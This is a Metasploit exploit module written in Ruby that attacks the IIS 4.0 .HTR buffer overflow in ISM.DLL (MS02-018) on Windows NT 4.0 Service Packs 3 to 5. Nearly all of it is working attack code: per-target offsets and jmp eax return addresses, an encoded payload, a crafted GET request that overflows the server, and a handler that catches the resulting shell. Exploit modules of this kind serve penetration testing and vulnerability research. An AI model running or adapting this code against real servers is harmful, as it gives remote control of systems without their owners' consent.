require 'msf/core'

module Msf

class Exploits::Windows::Iis::MS02_018_HTR < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'IIS 4.0 .HTR Buffer Overflow',
			'Description'    => %q{
				This exploits a buffer overflow in the ISAPI ISM.DLL used to
				process HTR scripting in IIS 4.0. This module works against
				Windows NT 4 Service Packs  3, 4, and 5. The server will
				continue to process requests until the payload being
				executed has exited. If you've set EXITFUNC to 'seh', the
				server will continue processing requests, but you will have
				trouble terminating a bind shell. If you set EXITFUNC to
				thread, the server will crash upon exit of the bind shell.
				The payload is alpha-numerically encoded without a NOP sled
				because otherwise the data gets mangled by the filters.
					
			},
			'Author'         => [ 'stinko' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '3325'],
					[ 'BID', '307'],
					[ 'CVE', '1999-0874'],
					[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
					[ 'MIL', '26'],
					[ 'MSB', 'MS02-018'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2048,
					'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
					['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
					['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
				],
			'DisclosureDate' => 'Apr 10 2002',
			'DefaultTarget' => 0))
			
		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end

	def exploit
		connect

		buf = 'X' * target['Rets'][0]
		buf << [ target['Rets'][1] ].pack('V')
		buf << payload.encoded
		
		req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
		print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
		sock.put(req)
		handler
		disconnect
	end

end
end